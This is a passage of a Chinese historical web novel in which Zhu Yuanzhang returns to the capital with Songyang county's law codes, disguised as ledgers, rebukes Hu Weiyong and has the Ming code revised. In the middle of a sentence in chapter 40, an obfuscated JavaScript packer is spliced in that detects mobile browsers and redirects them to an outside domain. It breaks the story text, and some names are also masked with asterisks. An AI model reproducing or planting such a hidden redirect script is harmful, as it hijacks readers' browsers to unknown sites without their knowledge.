朱元璋点点头,他看向一旁的马皇后解释道:“你郑大姐出来这么久,舟车劳顿,身体上有些吃不消,何况我们出来的时间已经够久了,还得回去处理些事情。” 第三十八章 王海的办法 看着马皇后那憔悴的面容,徐彦祖心中了然,看起来之前从人伢子那里得到的消息让马皇后大受打击。 “既然如此,要不要现在就将褚宁有可能是他们女儿的消息说出来,兴许……” 徐彦祖摸索着下巴暗暗思索。 然而还不等他作出决定,一旁的褚宁就连忙上前握住马皇后的手。 “干姐,你是不是还在为女儿的事情发愁?你放心吧,等你走后,我还会继续帮你寻找女儿,一定早日让你们团聚。” 褚宁目光坚定,对马皇后保证道。 马皇后没有想到褚宁对自己的事情竟然这么上心,对比起宫内那些阿谀奉承尔虞我诈的人来说,如此淳朴热心的人她已经许久没有见到过了,这让她一时间有些热泪盈眶。 “妹子,那找寻女儿这件事情就拜托你了。你也不要有太大压力,顺其自然就好,如果有时间的话,你就来应天府转转,到时候我在好好招待你。” 马皇后也向褚宁发出了邀约。 “真的,干姐你可要说话算话!” 褚宁给了马皇后一个大大的拥抱。 就在马皇后和褚宁两人姐妹情深的时候,朱元璋也和徐彦祖走到一边。 “你小子,现在可算是山中无老虎猴子称大王了。” 朱元璋笑着打趣道。 他这所谓的钦差大人一走,这松阳县可就完全是徐彦祖的天下了。 闻言,徐彦祖十分不屑道:“你在的时候我卖你几分面子叫你一声钦差大人,可要是真有什么事,锣鼓声一响,全县都得听洒家的。” “在这松阳县,本彦祖就是爷!谁来都不好使!” 徐彦祖这话可谓是完全没有给朱元璋留面子,后者面色一黑,怒道:“你眼里还有没有我这个钦差大人!” “行吧,钦差大人!” 想着朱元璋马上就要离开了,徐彦祖也是朝朱元璋俯身拱了拱手。 见状,朱元璋满意的点点头。 “等咱回京之后,就会派人把钱给你送来,到时候你可别把水泥的事情忘了,还有就是修订大明律法的事情。” 朱元璋话锋一转,严肃道:“咱只给你一个月的时间,倘若在这一个月的时间内拿不出办法,咱一样会砍了你的脑袋,所以你小子给我上点心!” 面对朱元璋的警告,徐彦祖不禁嗤之以鼻,他还巴不得朱元璋把自己的头给砍了! “你到底有没有在听我说话?” 见徐彦祖不以为意,朱元璋眉头一皱。 这一幕,刚好被前来找徐彦祖对账的王海看在眼里,他连忙上前替徐彦祖回道:“回禀钦差大人,知县大人肯定会将这件事情放在心上的,你就放心吧!” 有了王海这话,朱元璋的面色这才舒展开来。 紧接着,王海将徐彦祖拉到一边,生怕徐彦祖继续顶撞朱元璋。 “王主簿,你拉我干什么?” “知县大人啊,我这不是怕你继续和钦差大人对着干吗?” 徐彦祖有些无奈,如今朱元璋都要走了,他哪有心思继续和朱元璋对着干,别人来的时候是高高兴兴来的,走的时候自然也要让别人高高兴兴走才是。 这就叫有始有终。 “放心吧,今天我不会给朱大哥找不痛快的,你先放开我,我还没有过去和他道别呢。” 徐彦祖撇开王海的手,朝着朱元璋而去。 望着徐彦祖离去的背影,王海默默叹了口气,虽然徐彦祖今天不会找朱元璋的不痛快,但他明显也没有把修订大明律法这件事情放在心上。 可是刚才朱元璋已经明确表示,如果一个月内徐彦祖不拿出修订大明律法的方法,那他就要砍徐彦祖的头,王海可不愿意看这样的事情发生。 “既然知县大人不将此事放在心上,那我就替知县大人来做此事好了。只需要将咱松阳县的民事法和刑事法都拓印一遍交给钦差大人,想必就能替知县大人交差了。” 王海打定主意后,径直回到县衙将两种律法全都拓印了一份。 “不过就这样拿出去,是不是有些太过意招摇过市了,得给这两本律法包装一下才行!” 王海四处找寻,最终目光落在了一旁的账册上。 “有了!” 很快,王海的怀中就多了两本厚厚的账册。 等到王海在此找到徐彦祖的时候,他正和朱元璋勾肩搭背说这些什么。 见状,王海立刻打消了将东西交给朱元璋的念头。 就在这时,一旁的毛镶见王海鬼鬼祟祟盯着朱元璋看,上前厉声呵斥道:“你干嘛的?在这里鬼鬼祟祟的有何意图!” 看到毛镶的瞬间,王海立刻就有了想法。 他先自报家门说道:“大人好,我是这松阳县的主簿。” 说完,王海将两本由账册伪装的律法拿出来对毛镶解释道:“我有样东西想要交给钦差大人,只是知县大人也在那里,有些不太方便,不知大人能否替在出了城之后,替我转交给钦差大人!” 毛镶闻言,狐疑的接过东西一看,映入眼帘的就是账册两个大字。 他心头一惊,随即涌出狂喜冲王海问道:“这是松阳县的账册?这东西可做不得假,否则你可要进大牢的!” 王海点点头回道:“绝对是真的,比珍珠还真!这是我刚刚才从县衙里拓印出来的。你看,上面还沾着墨呢!” 闻言,毛镶脸上多了抹意味深长的笑容,他将账册严严实实的包好又揣入怀中,而后回头看了徐彦祖和朱元璋一眼,见两人还在交谈,尤其是徐彦祖还时不时发出一阵笑声。 这让毛镶从心底就升起一股不爽,他冷哼一声说道: “放心吧,这东西我肯定会交给大人的,你先回去收拾东西吧,免得到时候徐彦祖这小子迁怒于你。” 说完,毛镶眼底藏着幸灾乐祸的笑容,转身一跃攀到马背上。 “我回去收拾东西?知县大人会迁怒于我?” 毛镶的话让王海有些费解,不过他也没多想,不禁感叹道: “我可真是为知县大人操碎了心啊!如今律法已经送到了毛镶手上,出城之后自然就会呈给钦差大人看。到了那个时候,等钦差大臣看完之后,必定不会再降罪于知县大人!” “像我这样的贤内助,整个松阳县,知县大人再也找不到第二个了!” “我可真是个小机灵鬼!” 第三十九章 所谓罪证 王海不免有些得意。 另外一边,毛镶正高坐在马背上注视着王海离去。 他之所以和王海说那些话,是在他看来,王海交给自己的都是有关徐彦祖的罪证! 既然如此,那自然要给王海这个告密者收拾细软跑路的时间,以免被徐彦祖迁怒。 毛镶摸了摸胸口的东西,望向徐彦祖的目光阴冷。 他喃喃自语道: “出了城之后,等我把罪证交给陛下看过之后,到时候我倒要看看你还能不能像前几日那般猖狂!” 随后,眼见天色不早,毛镶拍马来到朱元璋的面前,随即下马俯身恭敬说道:“大人,天色已经不早了,我们也该启程回京了!” 朱元璋斜睨了一眼天色,而后点了点头,同时马皇后也早已经回到了马车里。 临走之前,朱元璋拍了拍徐彦祖的肩膀,叮嘱道: “咱知道你对咱有意见,可是修订大明律法乃是为了整个大明朝的百姓,徐知县你可要多上点心啊!” 说完,朱元璋一行人朝着城门外驶去。 马车在宽阔平整的大道上飞驰,很快就来到了松阳地界。 车夫也逐渐放低了速度,同时朝车内喊道:“老爷夫人坐稳了,后面的路可就没有那么平整了。” 听到这话,朱元璋掀开帘子往外看去,只见前面的大路尽头遍布石头,再回头看看走过的柏油马路,泾渭分明。 这让朱元璋不禁感叹道:“这徐彦祖还真是个人才,倘若咱大明朝的道路全都修成他口中说的这柏油马路,只怕贸易军事各方面都会有巨大的提升。” 朱元璋已经看出了道路平整之后的潜力,不仅仅可以提升贸易往来的速度,在运送粮草军需和调兵遣将上也能大幅度缩短时间。 见朱元璋对徐彦祖念念不忘,甚至还大加夸赞,领头的毛镶当即勒紧缰绳。 “嘶!” 一声马鸣声响起,毛镶的马便停了下来,后面的车队自然也跟着停下。 这突如其来的变故让马车摇晃了两下,要不是车夫提前就减慢了速度,不说翻车,起码也要让马车内的朱元璋和马皇后晃的七荤八素。 这也使得朱元璋面色不悦问道:“毛镶,为何停下?” “陛下莫怪,属下有重要的事情禀报!” 毛镶单膝跪地,从怀中拿出之前王海交给他的所谓徐彦祖罪证呈了上去。 “这是什么?” 朱元璋走下马车,能够让毛镶如此大动干戈,甚至不惜惊驾的东西,必定非同寻常。 “陛下一看便知。” 面对朱元璋的询问,毛镶却卖起了关子。 “那咱倒要看看,什么东西这么神秘,还包的这么严实。” 朱元璋接过毛镶呈上的东西,将其打开一看。 “这是……” 看到账册两个字的时候,朱元璋眉毛不由一挑。 “这是松阳县的主簿王海交给我的,他让我出城之后就转交给陛下。” 毛镶如实回道。 “松阳主簿王海?” 朱元璋目光一凝,随后将手中的册子打开看了起来。 “这怎么会!这不可能!” 当看到册子的第一页时,朱元璋整个人就猛的一震,他面色微微一变,对着毛镶不确定的问道:“你确定这当真是松阳县主簿王海交给你的?也就是说这上面都是和松阳县有关的东西?” 见到朱元璋这副震惊的样子,毛镶就知道里面的东西绝对骇人听闻,说不定就是徐彦祖贪污的证据! 毕竟徐彦祖在松阳县经营了这么多年,而松阳县的产业又这么多,只怕徐彦祖贪污的银两早就是一个天文数字。 哈哈,徐彦祖!这次看你死不死! “回禀陛下,这些东西都是那王海用人头担保,肯定为真!” 毛镶肯定道。 与此同时,在车内的马皇后听到松阳县主簿王海这几个字,也是连忙下车。 “重八,怎么了,发生什么事了?” 马皇后连忙问道。 朱元璋看了马皇后一眼,面色严峻,他将手中的册子递给马皇后。 后者只是粗略的看了一眼,神色不由一变,但随后就是一喜。 “重八,这徐彦祖当真是个治国的贤才啊!就上面罗列的这几条律法,就能够弥补大明律中的不少漏洞。而且观其分为民法和刑罚两部,可谓是条理清晰,赏罚分明,很多当初你难以界定的东西,上面都有标注!” 随后,马皇后接着往下翻,很快她就眼前一亮,她指着那册子对朱元璋说道:“重八你看这一条,禁止性别歧视,良贱不等,在律法面前人人平等,甚至还有针对女子的法律,可谓是清晰明白,细致入微!” 马皇后母仪天下,自然对有关女性的律法更加感兴趣。 朱元璋点点头,他也没想到徐彦祖在这律法上面竟然下了这么多的功夫,仅仅只是大致翻看几眼,他就从中汲取到了很多可以借鉴的地方。 “咱本来还以为徐彦祖这小子不尊崇大明律法,没想到他早就在大明律法的基础上做了这么多的改变,这也正好给了我不少启发!” 正所谓他山之石可以攻玉,不管是松阳县的民事法还是刑事法,都可以借鉴到大明律上面,两者可谓是同根同源。 “尤其是这小子在刑事法里提出的量刑失衡标准,将罪责的轻重和量刑的力度挂钩不说,还要取消那些贵族官僚的特权,这才是真正的为国为民,公平公正啊!” 徐彦祖的这个量刑标准,可以说做了朱元璋一直想做但又没有去做的事情。 原因就在于如今大明朝那些勋贵势力庞大,牵一发而动全身,加之他没有好的理由改革大明律法。 可如今却不同了,有了徐彦祖这两本律法抛砖引玉,他也可以借此机会重新修订大明律! 哪怕徐彦祖对朱元璋大不敬,可朱元璋还是不得不感叹道:“徐彦祖这小子的确有治世之才,甚至比起那刘伯温也丝毫不差,这一次我还真是看走眼了!” 此刻朱元璋对徐彦祖已经没了杀意,而有这两本律法,朱元璋交代给徐彦祖的任务自然也算是间接性的完成了。 第四十章 回京 “**镶,你做的很好,看来徐彦祖这小子明面上顶撞于我,其实私底下还是怕咱砍他的头!” 朱元璋龙颜大悦,在他看来,这就是徐彦祖服软的迹象。 然而一旁半跪在地的**镶听到朱元璋的夸奖后却一头雾水。 他实在想不明白自己递上徐彦祖的罪证,不仅没有让朱元璋发怒,反而是让其对徐彦祖大加夸赞甚至就连马皇后也毫不吝啬自己的赞赏。 但很快他就明白了,因为朱元璋将两本律法都交给了他。 “你下去誊抄两遍,一式三份,回京之后就送到刑部,都察院还有大理寺去,让这群修订大明律的文官好好看看。” **镶接过松阳律法点了点头,只不过他的面前有些阴沉。 他原以为这是有关徐彦祖的罪证,可没想到竟然只是套了个壳的松阳律法。 这下好了,朱元璋明显对此十分的满意,不仅没能借此机会问罪徐彦祖,反而让徐彦祖在朱元璋心中的地位又抬高了几分。 而且,他一个武将,朱元璋却让他干文官的活,这不是为难他吗? 可他敢不做吗?当然不干。 这个王海! 跟我玩心眼子是吧? “松阳主簿王海,我记住你了!” **镶低着头,眼里闪过一道厉色。 倘若不是王海将这两本律法交给他,哪里会遭这样的罪! 时间匆匆而过,马车一路颠簸,朱元璋等人总算是回到了京城。 此刻天色昏暗,只有零星的几颗星星挂在天上。 “陛下,京城到了。” **镶扭动着自己酸痛的手腕,这段时间以来,抛却平日里赶路的时间外,每逢休息的时候他都是在摘抄松阳律法,让他一介武夫来做这样的细活,可谓是吃尽了苦头。 “现在什么时候了?” 朱元璋打着哈欠问道,他走下马车,舒展了一下身子。 **镶闻言,叫来收下询问后回道:“回陛下,已经快要到卯时了。” “既然已经到卯时了,那你先将摘抄好了松阳律法送去三法司,之后就没你的事了。” 朱元璋看了**镶一眼,摆了摆手。 “属下遵命!” **镶带着松阳律法离去,而车队则是一路朝着皇宫行驶而去。 “妹子,等回了宫,你就先去休息。” 朱元璋体贴道。 至于他,作为一名勤政的帝王,自然不会错过每一次的朝会。 要知道在大明洪武年间,朱元璋可是出了名的勤快。 每日都要开早朝不说,而且还要求官员们在卯时的时候参与朝会,甚至有些时候会更早。 这也就导致整个大明朝的官员每日天不亮就要起床,早早就要来到皇宫外的午门等候,可谓是苦不堪言。 当然,这也正说明朱元璋的威视有多高,如此折腾这些大臣,可却没几个人敢提出异议。 等到朱元璋在宫内简单梳洗一番过后,他便穿上龙袍匆匆朝着奉天门而去。 在大明,朝会分为两种,一种是常朝,一种是大朝。 常朝就是大臣们在午门等候,到时间就去奉天门行礼奏事。 只有关乎国家大事或者重大节日的时候 大臣们才会在奉天殿内议事。 如今朱元璋并不在紫禁城中,议事自然是在奉天门。 等到朱元璋来到奉天门的时候,群臣们正在议事。 手下的太监刚准备出声让众大臣迎接朱元璋,就被朱元璋抬手给制止了。 “先等等,让咱听听看他们在议些什么事情。” 朱元璋有些好奇,自己不在的时候,群臣都是如何开早会的。 然而让朱元璋没有想到的是,这议事竟然变成了胡惟庸的一言堂! “胡相,陛下已经返京,那今日的朝会,我们还要不要继续开下去啊?” 有官员问道。 他的言下之意是,是否要等朱元璋到了之后再开早朝。 然而胡惟庸瞥了那人一眼,淡淡开口说道:“以往陛下不在的时候,这朝会都是按照惯例召开,今日自然也不例外,你们有什么事要启奏陛下,都可以先交由我一览后,在转奏陛下。” 胡惟庸此言一出,下面的人面面相觑,议论纷纷。 朱元璋离开的这段时间,朝廷内外可发生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15661213|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不少的事情。 离去之前,朱元璋是让太子朱标监国代为批奏,而胡惟庸则是辅佐朱标,可是他们的奏折根本就送不到朱标那里,中途就**惟庸给截胡下来。 然而胡惟庸根本就不看,只会原封不动的将奏折打回来。 如今还要继续交给胡惟庸,岂不是又白跑一趟。 见众人没有动作,胡惟庸面色一变,他冷冷地说道:“怎么?你们就这么急着去拜见陛下,陛下一路舟车劳顿,你们也不怕扰了陛下的清静!” “来人,将百官手中的奏折收上来,本相看过之后再呈与陛下。” 胡惟庸大手一挥,身后两个太监就挨个从百官手中收取奏折。 百官虽然无奈,但迫于胡惟庸的**,只能将奏折上交。 随后,只见胡惟庸当场就看起奏折,然而他只是拿起来粗略的看了一眼,随后就将奏折丢到一边。 “这本不必告知陛下,这本也不用……” 到后面,胡惟庸看着剩下一大半的奏折,竟然全都打退回去,一本都没有留下。 “奏折上面的都是小事,你们自行解决就行,不用烦忧陛下,知道吗?” 胡惟庸拍了拍手,对众官员警告了一句。 与此同时,太子朱标问讯姗姗来迟,当他来到朱元璋身边的时候,只看到朱元璋面色阴沉的吓人。 “父……父皇!” 朱标跪在地上,将头深深埋低。 “标儿,咱让你监国,你就将权利全部放给胡惟庸?” 朱元璋本想发怒,可是看着朱标那单薄瘦弱的身子,终究还是忍了下去,只是恨铁不成钢的感叹道。 “父皇息怒,孩儿知错。” 朱标没有辩解,胡惟庸把持朝政,这件事朱元璋早就知道,只是亲眼看到还是第一次。 他知道朱元璋的脾气,这个时候越是解释如同火上浇油,还不如直接承认错误。 同时,一旁的太监则是替朱标求情道: “回禀陛下,太子他日夜操劳,实在是分不出过多的精力,这才将卯时的早朝交由胡惟庸管理,其实那些奏折最后太子还会找官员讨要一道,因此并不耽误事。” 第四十一章 敲打胡惟庸 “咱知道了,苦了你了标儿,快起来吧。” 朱元璋终究还是不忍责罚朱标,同时朱元璋也明白朱标身上的压力。 要知道,自从他将胡惟庸提拔为左丞相后,胡惟庸就开始在朝中排挤右丞相汪广洋,再加上朝中淮西勋贵人数众多,势力庞大。 这也导致胡惟庸慢慢有了独揽朝政的势头。 当然,对此朱元璋也不可能坐视不理,他早就对胡惟庸感到不满。 只不过如今胡惟庸在朝廷上党羽众多,树大根深,一时间还不好动他。 但朱元璋也安排了锦衣卫暗中调查胡惟庸,网罗胡惟庸的罪证。 “标儿,跟咱去会一会大明朝的左相吧,有他在,咱倒是轻松不少!” 朱元璋冷哼一声,看了一眼旁边的太监。 太监连忙高声朝着胡惟庸那边的官员高声喊道: “皇上驾到!” 胡惟庸刚打了一个哈欠,正准备遣散官员回家睡觉,就听到一声细长尖锐的声音响起。 当他听到皇上驾到四个字时,脸色倏的一变。 他立刻带着官员们循着声音望去,只见朱元璋带着朱标从不远处缓缓走了过来。 胡惟庸和其余大臣当即跪拜在地,异口同声道: “臣等参见皇上,皇上万岁万岁万万岁!” “都免礼平身吧,咱只是顺路过来看看你们,看看咱不在的时候,你们这早会都是怎么开的。” 朱元璋脸上带着笑容,说完他看向胡惟庸问道: “子中啊,咱不在的这些日子,朝中有没有发生什么大事?有没有什么奏折需要咱批阅的?” 面对朱元璋的询问,胡惟庸连连摇头摆手道: “幸得陛下之福,陛下出京的这段时间,朝中上下并没有发生大事,都是一些地方上的小事,官员们自行解决就行。” 胡惟庸这话一出,朱元璋当即脸色就冷了下来。 “是吗?那你可知咱这一次去了什么地方?” 朱元璋冷冷地问道。 见朱元璋神色有异,胡惟庸心里咯噔一下,他知道朱元璋这一次乃是去松阳县寻女儿,看朱元璋这副模样,应该是没有寻到女儿。 为了避免被朱元璋迁怒,胡惟庸摇头道:“陛下,臣不知。” “不知?” 朱元璋嘴角噙着冷笑。 “那你应该知道松阳县吧,你私自扣下松阳县奏折多少次,你说!” 此言一出,胡惟庸神色瞬间大变。 此刻他心乱如麻,第一反应就是以往松阳县奏折中会不会藏着什么线索,而朱元璋正是因为这个才会态度大变,判若两人。 不管是因为什么,问题一定是出在松阳知县徐彦祖的身上,胡惟庸自然只能咬死不认。 他拱手沉声说道: “回陛下,那松阳知县徐彦祖所呈上来的奏折都是胡言乱语,口口声声说自己愧对圣上,却又觍着脸找陛下讨要赏赐,分明就是找死!” “里面的东西全都不可信啊!陛下万万不可听信那知县的一面之词,陛下洪福齐天,一定可以找到公主的!” “你以为我是找不到女儿迁怒于你?” 朱元璋眉头一皱,眼中怒意更甚。 他指着胡惟庸的鼻子怒道:“你知道不知道因为你,大明错过了什么?” “你知不知道徐彦祖治下的松阳县发展成了什么样子?” “你知不知道你口中的胡言乱语,让咱错过了一个可能让大明翻天覆地的大事!” 朱元璋这一连串的问题犹如重锤一般敲击在胡惟庸的胸口。 他想不明白,为什么朱元璋只是去了一趟松阳县,回来之后竟然会有这么大的反应! “陛下,那松阳县到底发展成了什么样子,何以让陛下如此震惊?” 胡惟庸不禁问道。 见胡惟庸对松阳县的事情毫不知情,朱元璋冷冷地说道: “你不是什么事情都知道吗?不知道就自己下去查!” “竟敢私自扣下地方上呈的奏折,上欺于君,下瞒于民,滥用职权,你说说,要咱怎么处罚你才好!” 朱元璋说这句话的声音并不算大,可是话语里的意思却无比沉重。 当听到朱元璋要降罪于自己时,胡惟庸连忙跪在地上,大声喊道: “陛下,臣有罪!是臣一时失察,这才酿成大错,还请陛下降罪!” 胡惟庸嘴上说着让朱元璋降罪,可实际上他的脸上却没有多少惧色。 如今百官都在,他身后的那些淮西勋贵可不会眼睁睁看着朱元璋降罪于他。 果不其然,下一秒就有官员跪地替胡惟庸求情。 “陛下,胡相忧国忧民,此等热忱之心我们全都看在眼里,还望陛下开恩!” “请陛下开恩!” 有了出头鸟,剩下的官员就如同墙头草一般倒向了胡惟庸,齐刷刷的跪下了一大片。 这也让朱元璋眼底多了一抹厉色,胡惟庸可不是什么好官,但是能够让这么多的官员替他求情,可见胡惟庸在朝廷中的党羽何其多! 当然,朱元璋也知道现在还不是动胡惟庸的时候,他这么说不过是想敲打一下胡惟庸,让其收敛一下。 随即朱元璋看向一旁的太子朱标。 如今那么多的官员替胡惟庸求情,他若是就这样同意了,以后在官员中的威望肯定会大打折扣。 这个台阶他不是不能下,但要让朱标来给。 何况,朱标要是替胡惟庸求情,不仅可以放松胡惟庸的警惕,还能让朱标在胡惟庸这里刷一波好感度。 朱标自然也明白这个道理,他拱手躬身向朱元璋请求道: “父皇,人非圣贤孰能无过,胡相日夜操劳,有所遗漏是乃常事,就算没有功劳也有苦劳,还请父皇开恩!” 朱标开口,朱元璋自然顺势应允。 他沉吟片刻,而后淡淡说道: “既然你们都给惟庸求情,那咱也不是不近人情之人,不过大罪可免小罪难逃,罚俸一年你可有意见?” 闻言,胡惟庸心头一喜,谁都知道大明朝的俸禄那是出了名的低,这样的惩罚对他来说根本就是不疼不痒。 然而胡惟庸还没有高兴完,朱元璋就再度开口,笑眯眯的对他说道: “咱看你今日来也是劳累不堪,正好咱回京,子中啊,你就先回家好好休养十天半个月的,等你休养好了,再替咱分忧,可好?” 第四十二章 修订大明律 胡惟庸自然是不愿意,可是看着朱元璋那笑里藏刀的眼神,他明白,这是朱元璋对自己的小惩大诫,因此只能同意。 “臣遵命,多谢陛下厚爱!” 胡惟庸无奈拱手。 紧接着,朱元璋在众人的簇拥下登上早已准备好的龙椅。 坐上龙椅后,朱元璋先是一愣,心中不由苦笑道:“在徐彦祖那酒店住久了,竟然觉得龙椅坐起来都没有酒店的床舒服。” 随后,等到众人又一次行礼之后,朱元璋这才开口说道:“这一次,咱去了松阳县,见识到了一位旷世之才。” 旷世之才? 朱元璋对徐彦祖的这个评价不可谓不高,这也让众大臣议论纷纷。 一个知县,如何能够当得起这等名头。 不过未等众人开口,朱元璋便继续说道:“此人叫徐彦祖,或许你们对他不是很熟悉。但是说他的老师,你们想必就知道了,他的老师,乃是咱大明的诚意伯,刘伯温。” 刘伯温这个名字一出口,包括胡惟庸在内的淮西勋贵不由脸色一变。 他们互相对视一眼,神色各异。 要知道现如今刘伯温虽然已经死了,但谁都不会小觑于他, 更何况,刘伯温在回家养老之前,可是为淮西勋贵们狠狠的欺辱了一番。 现如今刘伯温的弟子突然出现在众人的视线之中,还被朱元璋冠以旷世之名,这让胡惟庸等人心中不禁暗暗警惕起来。 “这一次,咱在松阳县学到了很多。并且从中发现了国策上很多的不足,接下来咱就要开始整顿国策,其中,最先整顿的就是大明朝的律法!” 朱元璋看向台下的官员,开口说道: “这一次,我从松阳县带回来了两本律法,分别是民事法和刑事法,上面将大小罪责做了十分清楚的划分,稍后三法司的官员回去之后,就能看到这两本书。” “其他的事情,等修订完了大明律之后再议。” 一场朝会就到此结束。 散朝后,朱元璋和朱标回到宫里。 两人刚一落座,朱标就迫不及待的问道: “父皇,你刚才早朝时说的从松阳县带回来的两本律法现在何处?” 看着朱标这猴急的样,朱元璋就不由哈哈大笑起来。 他招了招手,一旁的太监就连忙将两本册子呈了上来。 “这就是你为父从松阳县带回来的律法,标儿你好生看看。” 朱元璋将册子递了过去,神色无比满意,朱标这颗为国为民的心,是让他最为喜爱的。 “多谢父皇。” 朱标点点头,接过册子细细看了起来。 才翻阅了几页,朱标的眼神就瞬间亮了起来。 他指着其中几条律法对朱元璋兴奋的说道: “父皇你看这几条律法,在量刑上可谓是独树一帜,将大小罪责分成了三六九等,这样做,不仅刑罚分明,也会更加让人信服!” “还有这一条……” 朱标越说越激动,到了后面,甚至每翻阅一页,都要和朱元璋兴高采烈说半天。 不过很快朱标就意识到。 他说了这么多,可以说每一条都将如今的大明律批的体无完肤,完全就没有给朱元璋这个修订大明律的人一个面子。 “父皇,其实大明律也没有那么多的问题,两者之间也是相辅相成。” 末了,朱标硬着头皮夸了一句大明律。 虽然在他看来现如今的大明律有很多过于严苛的地方,可在朱元璋的面前,总归是要留几分面子的。 然而,朱元璋却毫不在意的摆摆手道:“标儿,你想到什么就说什么,不用顾及。” 这才哪到哪,不过是亲生儿子吐槽一下大明律而已,还不至于让他生气。 要知道他在徐彦祖那里受的气可比这严重多了,更何况,这大明律又不是他一个人修订的,就算要背锅,也不是他一个人背。 朱标狐疑的看了朱元璋一眼,他感觉亲爹这去了松阳县一趟,不仅带回来了治国之策,就连这脾气也变好了。 既然朱元璋不介意,那朱标也就大胆的说出了自己的想法。 他将现如今的大明律还有松阳县的两本律法互相比较,取长补短,说出了不少有利大明的律法,并且还将其写在了纸上。 “不错,标儿你罗列出来的这几条,完全可以替代大明律中的条例,不过仅仅这些可还不够!” 朱元璋目漏精光,他要的是重新修订大明律,将大明律彻底完善,因此才会让三法司的官员也参与到其中。 有了徐彦祖这两本律法,集思广益之下,朱元璋相信大明律会被彻底完善! 朱元璋给了三法司三天的时间观看松阳县的两本律法。 三日后,奉天殿内。 刑部,检察院,还有大理寺的官员都到了殿中。 “诸位,那两本松阳县的律法你们应该也已经看过了,有什么想说的?” 朱元璋看向众人缓缓开口问道。 殿内的官员们互相对视一眼,最终目光落在了刑部尚书刘惟谦的身上。 毕竟这位可是主持修订大明律的人,要说有什么看法,首当其冲要问的自然就是他。 刘惟谦看了一眼众人,他没有丝毫惧色,一步跨出,高声说道: “回陛下,臣以为松阳知县徐彦祖所修订的这两本律法,乃我大明朝之幸!更是天下百姓之福气!” “臣自叹不如!” 刘惟谦这话可谓是一石激起千层浪,在众官员中瞬间就炸开了锅。 要知道人有千面,不是每一个官员都认为松阳县律法比大明律更好。 在这三法司之中,也少不了淮西或者其他地方的权贵。 他们自然也熟读了这两本律法,其中那一条取消贵族官僚司法特权,毫无疑问就是在和他们对着干,在侵害他们的利益,这让他们怎么可能答应。 而刘惟谦此言一出,无疑是直接站在了徐彦祖的身后力挺徐彦祖,这也让不少反对修改大明律的官员面色一变。 下一秒,就立马有官员站出来反驳道: “刘大人此言差矣,那徐彦祖毕竟只是一个知县,他所管辖的只是一县之地,怎么能用管辖一县之法来管辖大明,这岂不是本末倒置?” 第四十三章 修订律法 “唐大人说得对,那松阳县因地制宜,所以律法和国法有些出入,用县法来治国,岂不是管中窥豹所见不全!” “没错,还望陛下三思啊!” 其他官员纷纷附和道。 朱元璋看了唐胜宗一眼,这位就是不折不扣的淮西勋贵,开国之后就被他封为了延安侯,平日里和胡惟庸走的很近,几乎可以说是穿同一条裤子。 这样的人出面反驳重新修订大明律倒也不足为奇。 不过让朱元璋意外的是,同为淮西勋贵的汤和却毫无反应,站在官员队列之中安分守己。 这也让朱元璋来了兴趣,他看向汤和问道:“汤和啊,你这位左都御史怎么看?” 作为都察院的一把手,同样又是跟着朱元璋打天下的淮西班底,被朱元璋点名的汤和瞬间就吸引了众人的视线。 先前发言的唐胜宗则是一副胜券在握的样子。 询问汤和的意见? 汤和乃是淮西勋贵,更是如今大明律的受益者,他又怎么可能会赞同重新修订大明律。 刘惟谦更是皱起了眉头。 虽然他是刑部尚书,可汤和乃是左都御史。 论官员品级,和他都是正二品,在修订大明律这件事上掌握着很大的话语权。 要是汤和也不赞同重新修订大明律,面对淮西勋贵的阻力,朱元璋很有可能会将此事作罢。 毕竟,这里面看似只有一个松阳县令徐彦祖,可实际上还牵扯着刘伯温。 那可是和淮西勋贵处于对立面的浙东派! 面对朱元璋的询问,汤河从容不迫走出队列,先是恭敬对朱元璋行礼,而后语出惊人: “臣以为,只要是利好大明的事情,无论高低,不管是县法还是国法,都可以有则改之无则加勉。” 此言一出,唐胜宗这些淮西勋贵脸色瞬间一变,他们没有想到汤河竟然会支持重新修订律法,这可是在损害他汤河自己的利益! 唐胜宗更是满脸厉色打算开口,可朱元璋的话语却接踵而至, “不错,没想到汤河你小子现在还能出口成章了,这有则改之无则加勉说的就很好啊!” 朱元璋无比满意汤河的态度。 身为淮西勋贵的领头人之一,汤河的态度,足以让不少淮西勋贵动摇站队。 其实汤和如此态度也在朱元璋的意料之中。 自打开国之后,汤河就不止一次明里暗里向他表示自己毫不贪恋权利,这明显是打算明哲保身以求自保。 和那狂妄自大,结党营私的胡惟庸简直就是两个极端。 随即,朱元璋缓缓起身,他扫视了一圈众大臣,手里拿着那两本松阳县律法问道:“咱记得前几日,标儿说人非圣贤孰能无过,这句话今日咱们君臣共勉之。” 朱元璋这话一出,殿内众大臣纷纷齐声高呼道:“陛下圣明!” 唐胜宗纵使不情愿重新修订大明律,可在众多大臣的高呼声中也只能妥协。 “标儿!” 朱元璋回头看了朱标一眼,将其叫到身边。 “这一次修订大明律的事情就交由你来做。” 朱元璋拍了拍朱标的肩膀,他将朱标当作未来的国君培养,不光要委以重任,更要为其增添功绩。 再加上之前朱标对律法的见解看法,这个人选非他莫属。 “儿臣遵命!多谢父皇!” 朱标神色一喜。 接下来的几日内,朱元璋坐镇朝中,而朱标则是带着三法司的人日夜不休废寝忘食重新修订大明律。 “启奏父皇,新的大明律已经修订完成,还请父皇过目!” 等到朱元璋再次见到朱标的时候,朱标嘴唇干裂,发丝凌乱。 可是即便如此,朱标那双眼睛也神采奕奕,整个人更是双手捧着重新修订后的大明律呈在朱元璋的面前。 “标儿你辛苦了。” 朱元璋满眼心疼,他快步上前将朱标扶起,随后接过朱标手中的律书就看了起来。 仅仅只是翻开第一页,朱元璋就被其中重新修订的调律所吸引。 不得不说,有徐彦祖那两本松阳县律法珠玉在前,朱标等人修订出来的新大明律可以说彻底摒弃糟粕留其精华! “好!这样的律法才该是咱大明的律法!” 朱元璋龙颜大悦甚是满意。 “标儿,你立刻派人加印新的大明律,快马加鞭送到各个州县。” “对了!那松阳县也给我送一份过去,让徐彦祖这个刺头必须严格按照新的大明律法来执行!” 